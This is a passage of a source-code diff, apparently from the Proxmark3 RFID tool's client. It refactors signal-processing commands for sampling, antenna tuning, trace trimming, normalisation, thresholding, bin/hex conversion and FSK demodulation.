requested = 8; + } + if (offset + requested > sizeof(got)) { + PrintAndLogEx(NORMAL, "Tried to read past end of buffer, + > %d", BIGBUF_SIZE); + return 0; + } - i = 0; - for (j = 0; j < requested; j++) { - i++; - string_ptr += sprintf(string_ptr, "%02x ", got[j]); - if (i == 8) { - *(string_ptr - 1) = '\0'; // remove the trailing space - PrintAndLog("%s", string_buf); - string_buf[0] = '\0'; - string_ptr = string_buf; - i = 0; - } - if (j == requested - 1 && string_buf[0] != '\0') { // print any remaining bytes - *(string_ptr - 1) = '\0'; - PrintAndLog("%s", string_buf); - string_buf[0] = '\0'; - } - } - return 0; + if ( !GetFromDevice(BIG_BUF, got, requested, offset, NULL, 2500, false)) { + PrintAndLogEx(WARNING, "command execution time out"); + return false; + } + + i = 0; + for (j = 0; j < requested; j++) { + i++; + string_ptr += sprintf(string_ptr, "%02x ", got[j]); + if (i == 8) { + *(string_ptr - 1) = '\0'; // remove the trailing space + PrintAndLogEx(NORMAL, "%s", string_buf); + string_buf[0] = '\0'; + string_ptr = string_buf; + i = 0; + } + if (j == requested - 1 && string_buf[0] != '\0') { // print any remaining bytes + *(string_ptr - 1) = '\0'; + PrintAndLogEx(NORMAL, "%s", string_buf); + string_buf[0] = '\0'; + } + } + return 0; } int CmdHide(const char *Cmd) { - HideGraphWindow(); - return 0; + HideGraphWindow(); + return 0; } +//zero mean GraphBuffer int CmdHpf(const char *Cmd) { - int i; - int accum = 0; + int i; + int accum = 0; - for (i = 10; i < GraphTraceLen; ++i) - accum += GraphBuffer[i]; - accum /= (GraphTraceLen - 10); - for (i = 0; i < GraphTraceLen; ++i) - GraphBuffer[i] -= accum; + for (i = 10; i < GraphTraceLen; ++i) + accum += GraphBuffer[i]; + + accum /= (GraphTraceLen - 10); + + for (i = 0; i < GraphTraceLen; ++i) + GraphBuffer[i] -= accum; - RepaintGraphWindow(); - return 0; + RepaintGraphWindow(); + return 0; +} + +bool _headBit( BitstreamOut *stream) +{ + int bytepos = stream->position >> 3; // divide by 8 + int bitpos = (stream->position++) & 7; // mask out 00000111 + return (*(stream->buffer + bytepos) >> (7-bitpos)) & 1; +} + +uint8_t getByte(uint8_t bits_per_sample, BitstreamOut* b) +{ + int i; + uint8_t val = 0; + for(i = 0 ; i < bits_per_sample; i++) + val |= (_headBit(b) << (7-i)); + + return val; +} + +int getSamples(int n, bool silent) { + //If we get all but the last byte in bigbuf, + // we don't have to worry about remaining trash + // in the last byte in case the bits-per-sample + // does not line up on byte boundaries + uint8_t got[BIGBUF_SIZE-1] = { 0 }; + + if ( n == 0 || n > sizeof(got)) + n = sizeof(got); + + if (!silent) PrintAndLogEx(NORMAL, "Reading %d bytes from device memory\n", n); + + UsbCommand response; + if ( !GetFromDevice(BIG_BUF, got, n, 0, &response, 10000, true) ) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return 1; + } + + if (!silent) PrintAndLogEx(NORMAL, "Data fetched"); + + uint8_t bits_per_sample = 8; + + //Old devices without this feature would send 0 at arg[0] + if (response.arg[0] > 0) { + sample_config *sc = (sample_config *) response.d.asBytes; + if (!silent) PrintAndLogEx(NORMAL, "Samples @ %d bits/smpl, decimation 1:%d ", sc->bits_per_sample, sc->decimation); + bits_per_sample = sc->bits_per_sample; + } + + if (bits_per_sample < 8) { + if (!silent) PrintAndLogEx(NORMAL, "Unpacking..."); + BitstreamOut bout = { got, bits_per_sample * n, 0}; + int j =0; + for (j = 0; j * bits_per_sample < n * 8 && j < n; j++) { + uint8_t sample = getByte(bits_per_sample, &bout); + GraphBuffer[j] = ((int) sample )- 128; + } + GraphTraceLen = j; + if (!silent) PrintAndLogEx(NORMAL, "Unpacked %d samples" , j ); + } else { + for (int j = 0; j < n; j++) { + GraphBuffer[j] = ((int)got[j]) - 128; + } + GraphTraceLen = n; + } + +//ICEMAN todo + // set signal properties low/high/mean/amplitude and is_noice detection + justNoise(got, n); + // set signal properties low/high/mean/amplitude and isnoice detection + //justNoise_int(GraphBuffer, GraphTraceLen); + + setClockGrid(0, 0); + DemodBufferLen = 0; + RepaintGraphWindow(); + return 0; } int CmdSamples(const char *Cmd) { - int cnt = 0; - int n; - uint8_t got[40000]; + int n = strtol(Cmd, NULL, 0); + return getSamples(n, false); +} - n = strtol(Cmd, NULL, 0); - if (n == 0) n = 512; - if (n > sizeof(got)) n = sizeof(got); - - PrintAndLog("Reading %d samples\n", n); - GetFromBigBuf(got,n,0); - WaitForResponse(CMD_ACK,NULL); - for (int j = 0; j < n; j++) { - GraphBuffer[cnt++] = ((int)got[j]) - 128; - } - - PrintAndLog("Done!\n"); - GraphTraceLen = n; - RepaintGraphWindow(); - return 0; +int CmdTuneSamples(const char *Cmd) { +#define NON_VOLTAGE 1000 +#define LF_UNUSABLE_V 2000 +#define LF_MARGINAL_V 10000 +#define HF_UNUSABLE_V 3000 +#define HF_MARGINAL_V 5000 +#define ANTENNA_ERROR 1.03 // current algo has 3% error margin. + int timeout = 0; + PrintAndLogEx(INFO, "\nmeasuring antenna characteristics, please wait..."); + + UsbCommand c = {CMD_MEASURE_ANTENNA_TUNING, {0,0,0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + while (!WaitForResponseTimeout(CMD_MEASURED_ANTENNA_TUNING, &resp, 2000)) { + timeout++; + printf("."); fflush(stdout); + if (timeout > 7) { + PrintAndLogEx(WARNING, "\nno response from Proxmark. Aborting..."); + return 1; + } + } + PrintAndLogEx(NORMAL, "\n"); + + uint32_t v_lf125 = resp.arg[0]; + uint32_t v_lf134 = resp.arg[0] >> 32; + + uint32_t v_hf = resp.arg[1]; + uint32_t peakf = resp.arg[2]; + uint32_t peakv = resp.arg[2] >> 32; + + if ( v_lf125 > NON_VOLTAGE ) + PrintAndLogEx(SUCCESS, "LF antenna: %5.2f V - 125.00 kHz", (v_lf125 * ANTENNA_ERROR)/1000.0); + if ( v_lf134 > NON_VOLTAGE ) + PrintAndLogEx(SUCCESS, "LF antenna: %5.2f V - 134.00 kHz", (v_lf134 * ANTENNA_ERROR)/1000.0); + if ( peakv > NON_VOLTAGE && peakf > 0 ) + PrintAndLogEx(SUCCESS, "LF optimal: %5.2f V - %6.2f kHz", (peakv * ANTENNA_ERROR)/1000.0, 12000.0/(peakf+1)); + + char judgement[10]; + memset(judgement, 0, sizeof(judgement)); + // LF evaluation + if (peakv < LF_UNUSABLE_V) + sprintf(judgement, "UNUSABLE"); + else if (peakv < LF_MARGINAL_V) + sprintf(judgement, "MARGINAL"); + else + sprintf(judgement, "OK"); + + PrintAndLogEx(NORMAL, "%sLF antenna is %s \n" + , (peakv < LF_UNUSABLE_V) ? _CYAN_([!]) : _GREEN_([+]) + , judgement + ); + + // HF evaluation + if ( v_hf > NON_VOLTAGE ) + PrintAndLogEx(SUCCESS, "HF antenna: %5.2f V - 13.56 MHz", (v_hf * ANTENNA_ERROR)/1000.0); + + memset(judgement, 0, sizeof(judgement)); + + if (v_hf < HF_UNUSABLE_V) + sprintf(judgement, "UNUSABLE"); + else if (v_hf < HF_MARGINAL_V) + sprintf(judgement, "MARGINAL"); + else + sprintf(judgement, "OK"); + + PrintAndLogEx(NORMAL, "%sHF antenna is %s" + , (v_hf < HF_UNUSABLE_V) ? _CYAN_([!]) : _GREEN_([+]) + , judgement + ); + + // graph LF measurements + // even here, these values has 3% error. + uint16_t test = 0; + for (int i = 0; i < 256; i++) { + GraphBuffer[i] = resp.d.asBytes[i] - 128; + test += resp.d.asBytes[i]; + } + if ( test > 0 ) { + PrintAndLogEx(SUCCESS, "\nDisplaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.\n\n"); + GraphTraceLen = 256; + ShowGraphWindow(); + RepaintGraphWindow(); + } else { + + PrintAndLogEx(FAILED, "\nNot showing LF tuning graph since all values is zero.\n\n"); + } + return 0; } int CmdLoad(const char *Cmd) { - FILE *f = fopen(Cmd, "r"); - if (!f) { - PrintAndLog("couldn't open '%s'", Cmd); - return 0; - } + char filename[FILE_PATH_SIZE] = {0x00}; + int len = 0; - GraphTraceLen = 0; - char line[80]; - while (fgets(line, sizeof (line), f)) { - GraphBuffer[GraphTraceLen] = atoi(line); - GraphTraceLen++; - } - fclose(f); - PrintAndLog("loaded %d samples", GraphTraceLen); - RepaintGraphWindow(); - return 0; + len = strlen(Cmd); + if (len > FILE_PATH_SIZE) len = FILE_PATH_SIZE; + memcpy(filename, Cmd, len); + + FILE *f = fopen(filename, "r"); + if (!f) { + PrintAndLogEx(WARNING, "couldn't open '%s'", filename); + return 0; + } + + GraphTraceLen = 0; + char line[80]; + while (fgets(line, sizeof (line), f)) { + GraphBuffer[GraphTraceLen] = atoi(line); + GraphTraceLen++; + } + if (f) + fclose(f); + + PrintAndLogEx(SUCCESS, "loaded %d samples", GraphTraceLen); + setClockGrid(0,0); + DemodBufferLen = 0; + RepaintGraphWindow(); + + // set signal properties low/high/mean/amplitude and isnoice detection + justNoise_int(GraphBuffer, GraphTraceLen); + return 0; } int CmdLtrim(const char *Cmd) { - int ds = atoi(Cmd); + if (GraphTraceLen <= 0) return 0; - for (int i = ds; i < GraphTraceLen; ++i) - GraphBuffer[i-ds] = GraphBuffer[i]; - GraphTraceLen -= ds; + int ds = atoi(Cmd); + for (int i = ds; i < GraphTraceLen; ++i) + GraphBuffer[i-ds] = GraphBuffer[i]; - RepaintGraphWindow(); - return 0; + GraphTraceLen -= ds; + RepaintGraphWindow(); + return 0; } -/* - * Manchester demodulate a bitstream. The bitstream needs to be already in - * the GraphBuffer as 0 and 1 values - * - * Give the clock rate as argument in order to help the sync - the algorithm - * resyncs at each pulse anyway. - * - * Not optimized by any means, this is the 1st time I'm writing this type of - * routine, feel free to improve... - * - * 1st argument: clock rate (as number of samples per clock rate) - * Typical values can be 64, 32, 128... - */ -int CmdManchesterDemod(const char *Cmd) +// trim graph to input argument length +int CmdRtrim(const char *Cmd) { - int i, j, invert= 0; - int bit; - int clock; - int lastval = 0; - int low = 0; - int high = 0; - int hithigh, hitlow, first; - int lc = 0; - int bitidx = 0; - int bit2idx = 0; - int warnings = 0; - - /* check if we're inverting output */ - if (*Cmd == 'i') - { - PrintAndLog("Inverting output"); - invert = 1; - ++Cmd; - do - ++Cmd; - while(*Cmd == ' '); // in case a 2nd argument was given - } - - /* Holds the decoded bitstream: each clock period contains 2 bits */ - /* later simplified to 1 bit after manchester decoding. */ - /* Add 10 bits to allow for noisy / uncertain traces without aborting */ - /* int BitStream[GraphTraceLen*2/clock+10]; */ - - /* But it does not work if compiling on WIndows: therefore we just allocate a */ - /* large array */ - uint8_t BitStream[MAX_GRAPH_TRACE_LEN]; - - /* Detect high and lows */ - for (i = 0; i < GraphTraceLen; i++) - { - if (GraphBuffer[i] > high) - high = GraphBuffer[i]; - else if (GraphBuffer[i] < low) - low = GraphBuffer[i]; - } - - /* Get our clock */ - clock = GetClock(Cmd, high, 1); - - int tolerance = clock/4; - - /* Detect first transition */ - /* Lo-Hi (arbitrary) */ - /* skip to the first high */ - for (i= 0; i < GraphTraceLen; i++) - if (GraphBuffer[i] == high) - break; - /* now look for the first low */ - for (; i < GraphTraceLen; i++) - { - if (GraphBuffer[i] == low) - { - lastval = i; - break; - } - } - - /* If we're not working with 1/0s, demod based off clock */ - if (high != 1) - { - bit = 0; /* We assume the 1st bit is zero, it may not be - * the case: this routine (I think) has an init problem. - * Ed. - */ - for (; i < (int)(GraphTraceLen / clock); i++) - { - hithigh = 0; - hitlow = 0; - first = 1; - - /* Find out if we hit both high and low peaks */ - for (j = 0; j < clock; j++) - { - if (GraphBuffer[(i * clock) + j] == high) - hithigh = 1; - else if (GraphBuffer[(i * clock) + j] == low) - hitlow = 1; - - /* it doesn't count if it's the first part of our read - because it's really just trailing from the last sequence */ - if (first && (hithigh || hitlow)) - hithigh = hitlow = 0; - else - first = 0; - - if (hithigh && hitlow) - break; - } - - /* If we didn't hit both high and low peaks, we had a bit transition */ - if (!hithigh || !hitlow) - bit ^= 1; - - BitStream[bit2idx++] = bit ^ invert; - } - } - - /* standard 1/0 bitstream */ - else - { - - /* Then detect duration between 2 successive transitions */ - for (bitidx = 1; i < GraphTraceLen; i++) - { - if (GraphBuffer[i-1] != GraphBuffer[i]) - { - lc = i-lastval; - lastval = i; - - // Error check: if bitidx becomes too large, we do not - // have a Manchester encoded bitstream or the clock is really - // wrong! - if (bitidx > (GraphTraceLen*2/clock+8) ) { - PrintAndLog("Error: the clock you gave is probably wrong, aborting."); - return 0; - } - // Then switch depending on lc length: - // Tolerance is 1/4 of clock rate (arbitrary) - if (abs(lc-clock/2) < tolerance) { - // Short pulse : either "1" or "0" - BitStream[bitidx++]=GraphBuffer[i-1]; - } else if (abs(lc-clock) < tolerance) { - // Long pulse: either "11" or "00" - BitStream[bitidx++]=GraphBuffer[i-1]; - BitStream[bitidx++]=GraphBuffer[i-1]; - } else { - // Error - warnings++; - PrintAndLog("Warning: Manchester decode error for pulse width detection."); - PrintAndLog("(too many of those messages mean either the stream is not Manchester encoded, or clock is wrong)"); - - if (warnings > 10) - { - PrintAndLog("Error: too many detection errors, aborting."); - return 0; - } - } - } - } - - // At this stage, we now have a bitstream of "01" ("1") or "10" ("0"), parse it into final decoded bitstream - // Actually, we overwrite BitStream with the new decoded bitstream, we just need to be careful - // to stop output at the final bitidx2 value, not bitidx - for (i = 0; i < bitidx; i += 2) { - if ((BitStream[i] == 0) && (BitStream[i+1] == 1)) { - BitStream[bit2idx++] = 1 ^ invert; - } else if ((BitStream[i] == 1) && (BitStream[i+1] == 0)) { - BitStream[bit2idx++] = 0 ^ invert; - } else { - // We cannot end up in this state, this means we are unsynchronized, - // move up 1 bit: - i++; - warnings++; - PrintAndLog("Unsynchronized, resync..."); - PrintAndLog("(too many of those messages mean the stream is not Manchester encoded)"); - - if (warnings > 10) - { - PrintAndLog("Error: too many decode errors, aborting."); - return 0; - } - } - } - } - - PrintAndLog("Manchester decoded bitstream"); - // Now output the bitstream to the scrollback by line of 16 bits - for (i = 0; i < (bit2idx-16); i+=16) { - PrintAndLog("%i %i %i %i %i %i %i %i %i %i %i %i %i %i %i %i", - BitStream[i], - BitStream[i+1], - BitStream[i+2], - BitStream[i+3], - BitStream[i+4], - BitStream[i+5], - BitStream[i+6], - BitStream[i+7], - BitStream[i+8], - BitStream[i+9], - BitStream[i+10], - BitStream[i+11], - BitStream[i+12], - BitStream[i+13], - BitStream[i+14], - BitStream[i+15]); - } - return 0; + int ds = atoi(Cmd); + GraphTraceLen = ds; + RepaintGraphWindow(); + return 0; } -/* Modulate our data into manchester */ -int CmdManchesterMod(const char *Cmd) -{ - int i, j; - int clock; - int bit, lastbit, wave; +// trim graph (middle) piece +int CmdMtrim(const char *Cmd) { + int start = 0, stop = 0; + sscanf(Cmd, "%i %i", &start, &stop); - /* Get our clock */ - clock = GetClock(Cmd, 0, 1); + if (start > GraphTraceLen || stop > GraphTraceLen || start > stop) return 0; + start++; //leave start position sample - wave = 0; - lastbit = 1; - for (i = 0; i < (int)(GraphTraceLen / clock); i++) - { - bit = GraphBuffer[i * clock] ^ 1; - - for (j = 0; j < (int)(clock/2); j++) - GraphBuffer[(i * clock) + j] = bit ^ lastbit ^ wave; - for (j = (int)(clock/2); j < clock; j++) - GraphBuffer[(i * clock) + j] = bit ^ lastbit ^ wave ^ 1; - - /* Keep track of how we start our wave and if we changed or not this time */ - wave ^= bit ^ lastbit; - lastbit = bit; - } - - RepaintGraphWindow(); - return 0; + GraphTraceLen = stop - start; + for (int i = 0; i < GraphTraceLen; i++) { + GraphBuffer[i] = GraphBuffer[start+i]; + } + return 0; } + int CmdNorm(const char *Cmd) { - int i; - int max = INT_MIN, min = INT_MAX; + int i; + int max = INT_MIN, min = INT_MAX; - for (i = 10; i < GraphTraceLen; ++i) { - if (GraphBuffer[i] > max) - max = GraphBuffer[i]; - if (GraphBuffer[i] < min) - min = GraphBuffer[i]; - } + for (i = 10; i < GraphTraceLen; ++i) { + if (GraphBuffer[i] > max) max = GraphBuffer[i]; + if (GraphBuffer[i] < min) min = GraphBuffer[i]; + } - if (max != min) { - for (i = 0; i < GraphTraceLen; ++i) { - GraphBuffer[i] = (GraphBuffer[i] - ((max + min) / 2)) * 1000 / - (max - min); - } - } - RepaintGraphWindow(); - return 0; + if (max != min) { + for (i = 0; i < GraphTraceLen; ++i) { + GraphBuffer[i] = ((long)(GraphBuffer[i] - ((max + min) / 2)) * 256) / (max - min); + //marshmelow: adjusted *1000 to *256 to make +/- 128 so demod commands still work + } + } + RepaintGraphWindow(); + return 0; } int CmdPlot(const char *Cmd) { - ShowGraphWindow(); - return 0; + ShowGraphWindow(); + return 0; } int CmdSave(const char *Cmd) { - FILE *f = fopen(Cmd, "w"); - if(!f) { - PrintAndLog("couldn't open '%s'", Cmd); - return 0; - } - int i; - for (i = 0; i < GraphTraceLen; i++) { - fprintf(f, "%d\n", GraphBuffer[i]); - } - fclose(f); - PrintAndLog("saved to '%s'", Cmd); - return 0; + char filename[FILE_PATH_SIZE] = {0x00}; + int len = 0; + + len = strlen(Cmd); + if (len > FILE_PATH_SIZE) len = FILE_PATH_SIZE; + memcpy(filename, Cmd, len); + + FILE *f = fopen(filename, "w"); + if(!f) { + PrintAndLogEx(NORMAL, "couldn't open '%s'", filename); + return 0; + } + + for (int i = 0; i < GraphTraceLen; i++) + fprintf(f, "%d\n", GraphBuffer[i]); + + if (f) + fclose(f); + + PrintAndLogEx(NORMAL, "saved to '%s'", Cmd); + return 0; } int CmdScale(const char *Cmd) { - CursorScaleFactor = atoi(Cmd); - if (CursorScaleFactor == 0) { - PrintAndLog("bad, can't have zero scale"); - CursorScaleFactor = 1; - } - RepaintGraphWindow(); - return 0; + CursorScaleFactor = atoi(Cmd); + if (CursorScaleFactor == 0) { + PrintAndLogEx(FAILED, "bad, can't have zero scale"); + CursorScaleFactor = 1; + } + RepaintGraphWindow(); + return 0; } -int CmdThreshold(const char *Cmd) +int directionalThreshold(const int* in, int *out, size_t len, int8_t up, int8_t down) { - int threshold = atoi(Cmd); + int lastValue = in[0]; + out[0] = 0; // Will be changed at the end, but init 0 as we adjust to last samples value if no threshold kicks in. - for (int i = 0; i < GraphTraceLen; ++i) { - if (GraphBuffer[i] >= threshold) - GraphBuffer[i] = 1; - else - GraphBuffer[i] = -1; - } - RepaintGraphWindow(); - return 0; + for (size_t i = 1; i < len; ++i) { + // Apply first threshold to samples heading up + if (in[i] >= up && in[i] > lastValue) + { + lastValue = out[i]; // Buffer last value as we overwrite it. + out[i] = 1; + } + // Apply second threshold to samples heading down + else if (in[i] <= down && in[i] < lastValue) + { + lastValue = out[i]; // Buffer last value as we overwrite it. + out[i] = -1; + } + else + { + lastValue = out[i]; // Buffer last value as we overwrite it. + out[i] = out[i-1]; + } + } + out[0] = out[1]; // Align with first edited sample. + return 0; } int CmdDirectionalThreshold(const char *Cmd) { int8_t upThres = param_get8(Cmd, 0); int8_t downThres = param_get8(Cmd, 1); - - printf("Applying Up Threshold: %d, Down Threshold: %d\n", upThres, downThres); - - int lastValue = GraphBuffer[0]; - GraphBuffer[0] = 0; // Will be changed at the end, but init 0 as we adjust to last samples value if no threshold kicks in. - - for (int i = 1; i < GraphTraceLen; ++i) { - // Apply first threshold to samples heading up - if (GraphBuffer[i] >= upThres && GraphBuffer[i] > lastValue) - { - lastValue = GraphBuffer[i]; // Buffer last value as we overwrite it. - GraphBuffer[i] = 1; - } - // Apply second threshold to samples heading down - else if (GraphBuffer[i] <= downThres && GraphBuffer[i] < lastValue) - { - lastValue = GraphBuffer[i]; // Buffer last value as we overwrite it. - GraphBuffer[i] = -1; - } - else - { - lastValue = GraphBuffer[i]; // Buffer last value as we overwrite it. - GraphBuffer[i] = GraphBuffer[i-1]; - } - } - GraphBuffer[0] = GraphBuffer[1]; // Aline with first edited sample. - RepaintGraphWindow(); - return 0; + PrintAndLogEx(NORMAL, "Applying Up Threshold: %d, Down Threshold: %d\n", upThres, downThres); + + directionalThreshold(GraphBuffer, GraphBuffer,GraphTraceLen, upThres, downThres); + RepaintGraphWindow(); + return 0; } int CmdZerocrossings(const char *Cmd) { - // Zero-crossings aren't meaningful unless the signal is zero-mean. - CmdHpf(""); + // Zero-crossings aren't meaningful unless the signal is zero-mean. + CmdHpf(""); - int sign = 1; - int zc = 0; - int lastZc = 0; + int sign = 1; + int zc = 0; + int lastZc = 0; - for (int i = 0; i < GraphTraceLen; ++i) { - if (GraphBuffer[i] * sign >= 0) { - // No change in sign, reproduce the previous sample count. - zc++; - GraphBuffer[i] = lastZc; - } else { - // Change in sign, reset the sample count. - sign = -sign; - GraphBuffer[i] = lastZc; - if (sign > 0) { - lastZc = zc; - zc = 0; - } - } - } + for (int i = 0; i < GraphTraceLen; ++i) { + if (GraphBuffer[i] * sign >= 0) { + // No change in sign, reproduce the previous sample count. + zc++; + GraphBuffer[i] = lastZc; + } else { + // Change in sign, reset the sample count. + sign = -sign; + GraphBuffer[i] = lastZc; + if (sign > 0) { + lastZc = zc; + zc = 0; + } + } + } - RepaintGraphWindow(); - return 0; + RepaintGraphWindow(); + return 0; } -static command_t CommandTable[] = +/** + * @brief Utility for conversion via cmdline. + * @param Cmd + * @return + */ +int Cmdbin2hex(const char *Cmd) { - {"help", CmdHelp, 1, "This help"}, - {"amp", CmdAmp, 1, "Amplify peaks"}, - {"askdemod", Cmdaskdemod, 1, "<0 or 1> -- Attempt to demodulate simple ASK tags"}, - {"autocorr", CmdAutoCorr, 1, " -- Autocorrelation over window"}, - {"bitsamples", CmdBitsamples, 0, "Get raw samples as bitstring"}, - {"bitstream", CmdBitstream, 1, "[clock rate] -- Convert waveform into a bitstream"}, - {"buffclear", CmdBuffClear, 1, "Clear sample buffer and graph window"}, - {"dec", CmdDec, 1, "Decimate samples"}, - {"detectclock", CmdDetectClockRate, 1, "Detect clock rate"}, - {"fskdemod", CmdFSKdemod, 1, "Demodulate graph window as a HID FSK"}, - {"grid", CmdGrid, 1, " -- overlay grid on graph window, use zero value to turn off either"}, - {"hexsamples", CmdHexsamples, 0, " [] -- Dump big buffer as hex bytes"}, - {"hide", CmdHide, 1, "Hide graph window"}, - {"hpf", CmdHpf, 1, "Remove DC offset from trace"}, - {"load", CmdLoad, 1, " -- Load trace (to graph window"}, - {"ltrim", CmdLtrim, 1, " -- Trim samples from left of trace"}, - {"mandemod", CmdManchesterDemod, 1, "[i] [clock rate] -- Manchester demodulate binary stream (option 'i' to invert output)"}, - {"manmod", CmdManchesterMod, 1, "[clock rate] -- Manchester modulate a binary stream"}, - {"norm", CmdNorm, 1, "Normalize max/min to +/-500"}, - {"plot", CmdPlot, 1, "Show graph window (hit 'h' in window for keystroke help)"}, - {"samples", CmdSamples, 0, "[512 - 40000] -- Get raw samples for graph window"}, - {"save", CmdSave, 1, " -- Save trace (from graph window)"}, - {"scale", CmdScale, 1, " -- Set cursor display scale"}, - {"threshold", CmdThreshold, 1, " -- Maximize/minimize every value in the graph window depending on threshold"}, - {"zerocrossings", CmdZerocrossings, 1, "Count time between zero-crossings"}, - {"dirthreshold", CmdDirectionalThreshold, 1, " -- Max rising higher up-thres/ Min falling lower down-thres, keep rest as prev."}, - {NULL, NULL, 0, NULL} + int bg =0, en =0; + if(param_getptr(Cmd, &bg, &en, 0)) + return usage_data_bin2hex(); + + //Number of digits supplied as argument + size_t length = en - bg +1; + size_t bytelen = (length+7) / 8; + uint8_t* arr = (uint8_t *) malloc(bytelen); + memset(arr, 0, bytelen); + BitstreamOut bout = { arr, 0, 0 }; + + for (; bg <= en ;bg++) { + char c = Cmd[bg]; + if( c == '1') pushBit(&bout, 1); + else if( c == '0') pushBit(&bout, 0); + else PrintAndLogEx(NORMAL, "Ignoring '%c'", c); + } + + if (bout.numbits % 8 != 0) + PrintAndLogEx(NORMAL, "[padded with %d zeroes]\n", 8-(bout.numbits % 8)); + + //Uses printf instead of PrintAndLog since the latter + // adds linebreaks to each printout - this way was more convenient since we don't have to + // allocate a string and write to that first... + for(size_t x = 0; x < bytelen ; x++) + PrintAndLogEx(NORMAL, "%02X", arr[x]); + + PrintAndLogEx(NORMAL, "\n"); + free(arr); + return 0; +} + +int Cmdhex2bin(const char *Cmd) +{ + int bg =0, en =0; + if(param_getptr(Cmd, &bg, &en, 0)) return usage_data_hex2bin(); + + while (bg <= en ) { + char x = Cmd[bg++]; + // capitalize + if (x >= 'a' && x <= 'f') + x -= 32; + // convert to numeric value + if (x >= '0' && x <= '9') + x -= '0'; + else if (x >= 'A' && x <= 'F') + x -= 'A' - 10; + else + continue; + + //Uses printf instead of PrintAndLog since the latter + // adds linebreaks to each printout - this way was more convenient since we don't have to + // allocate a string and write to that first... + + for(int i= 0 ; i < 4 ; ++i) + PrintAndLogEx(NORMAL, "%d",(x >> (3 - i)) & 1); + } + PrintAndLogEx(NORMAL, "\n"); + + return 0; +} + + /* // example of FSK2 RF/50 Tones + static const int LowTone[] = { + 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, + 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, + 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, + 1, 1, 1, 1, 1, -1, -1, -1, -1, -1, + 1, 1, 1, 1, 1, -1, -1, -1, -1, -1 + }; + static const int HighTone[] = { + 1, 1, 1, 1, 1, -1, -1, -1, -1, // note one extra 1 to padd due to 50/8 remainder (1/2 the remainder) + 1, 1, 1, 1, -1, -1, -1, -1, + 1, 1, 1, 1, -1, -1, -1, -1, + 1, 1, 1, 1, -1, -1, -1, -1, + 1, 1, 1, 1, -1, -1, -1, -1, + 1, 1, 1, 1, -1, -1, -1, -1, -1, // note one extra -1 to padd due to 50/8 remainder + }; + */ +void GetHiLoTone(int *LowTone, int *HighTone, int clk, int LowToneFC, int HighToneFC) { + int i,j=0; + int Left_Modifier = ((clk % LowToneFC) % 2) + ((clk % LowToneFC)/2); + int Right_Modifier = (clk % LowToneFC) / 2; + //int HighToneMod = clk mod HighToneFC; + int LeftHalfFCCnt = (LowToneFC % 2) + (LowToneFC/2); //truncate + int FCs_per_clk = clk/LowToneFC; + + // need to correctly split up the clock to field clocks. + // First attempt uses modifiers on each end to make up for when FCs don't evenly divide into Clk + + // start with LowTone + // set extra 1 modifiers to make up for when FC doesn't divide evenly into Clk + for (i = 0; i < Left_Modifier; i++) { + LowTone[i] = 1; + } + + // loop # of field clocks inside the main clock + for (i = 0; i < (FCs_per_clk); i++) { + // loop # of samples per field clock + for (j = 0; j < LowToneFC; j++) { + LowTone[(i*LowToneFC)+Left_Modifier+j] = ( j < LeftHalfFCCnt ) ? 1 : -1; + } + } + + int k; + // add last -1 modifiers + for (k = 0; k < Right_Modifier; k++) { + LowTone[((i-1)*LowToneFC)+Left_Modifier+j+k] = -1; + } + + // now do hightone + Left_Modifier = ((clk % HighToneFC) % 2) + ((clk % HighToneFC)/2); + Right_Modifier = (clk % HighToneFC) / 2; + LeftHalfFCCnt = (HighToneFC % 2) + (HighToneFC/2); //truncate + FCs_per_clk = clk/HighToneFC; + + for (i = 0; i < Left_Modifier; i++) { + HighTone[i] = 1; + } + + // loop # of field clocks inside the main clock + for (i = 0; i < (FCs_per_clk); i++) { + // loop # of samples per field clock + for (j = 0; j < HighToneFC; j++) { + HighTone[(i*HighToneFC)+Left_Modifier+j] = ( j < LeftHalfFCCnt ) ? 1 : -1; + } + } + + // add last -1 modifiers + for (k = 0; k < Right_Modifier; k++) { + PrintAndLogEx(NORMAL, "(i-1)*HighToneFC+lm+j+k %i",((i-1)*HighToneFC)+Left_Modifier+j+k); + HighTone[((i-1)*HighToneFC)+Left_Modifier+j+k] = -1; + } + if (g_debugMode == 2) { + for ( i = 0; i < clk; i++) { + PrintAndLogEx(NORMAL, "Low: %i, High: %i",LowTone[i],HighTone[i]); + } + } +} + +//old CmdFSKdemod adapted by marshmellow +//converts FSK to clear NRZ style wave. (or demodulates) +int FSKToNRZ(int *data, int *dataLen, int clk, int LowToneFC, int HighToneFC) { + uint8_t ans=0; + if (clk == 0 || LowToneFC == 0 || HighToneFC == 0) { + int firstClockEdge=0; + ans = fskClocks((uint8_t *) &LowToneFC, (uint8_t *) &HighToneFC, (uint8_t *) &clk, &firstClockEdge); + if (g_debugMode > 1) { + PrintAndLog ("DEBUG FSKtoNRZ: detected clocks: fc_low %i, fc_high %i, clk %i, firstClockEdge %i, ans %u", LowToneFC, HighToneFC, clk, firstClockEdge, ans); + } + } + // currently only know fsk modulations with field clocks < 10 samples and > 4 samples. filter out to remove false positives (and possibly destroying ask/psk modulated waves...) + if (ans == 0 || clk == 0 || LowToneFC == 0 || HighToneFC == 0 || LowToneFC > 10 || HighToneFC < 4) { + if (g_debugMode > 1) { + PrintAndLog ("DEBUG FSKtoNRZ: no fsk clocks found"); + } + return 0; + } + int LowTone[clk]; + int HighTone[clk]; + GetHiLoTone(LowTone, HighTone, clk, LowToneFC, HighToneFC); + + int i, j; + + // loop through ([all samples] - clk) + for (i = 0; i < *dataLen - clk; ++i) { + int lowSum = 0, highSum = 0; + + // sum all samples together starting from this sample for [clk] samples for each tone (multiply tone value with sample data) + for (j = 0; j < clk; ++j) { + lowSum += LowTone[j] * data[i+j]; + highSum += HighTone[j] * data[i + j]; + } + // get abs( [average sample value per clk] * 100 ) (or a rolling average of sorts) + lowSum = abs(100 * lowSum / clk); + highSum = abs(100 * highSum / clk); + // save these back to buffer for later use + data[i] = (highSum << 16) | lowSum; + } + + // now we have the abs( [average sample value per clk] * 100 ) for each tone + // loop through again [all samples] - clk - 16 + // note why 16??? is 16 the largest FC? changed to LowToneFC as that should be the > fc + for(i = 0; i < *dataLen - clk - LowToneFC; ++i) { + int lowTot = 0, highTot = 0; + + // sum a field clock width of abs( [average sample values per clk] * 100) for each tone + for (j = 0; j < LowToneFC; ++j) 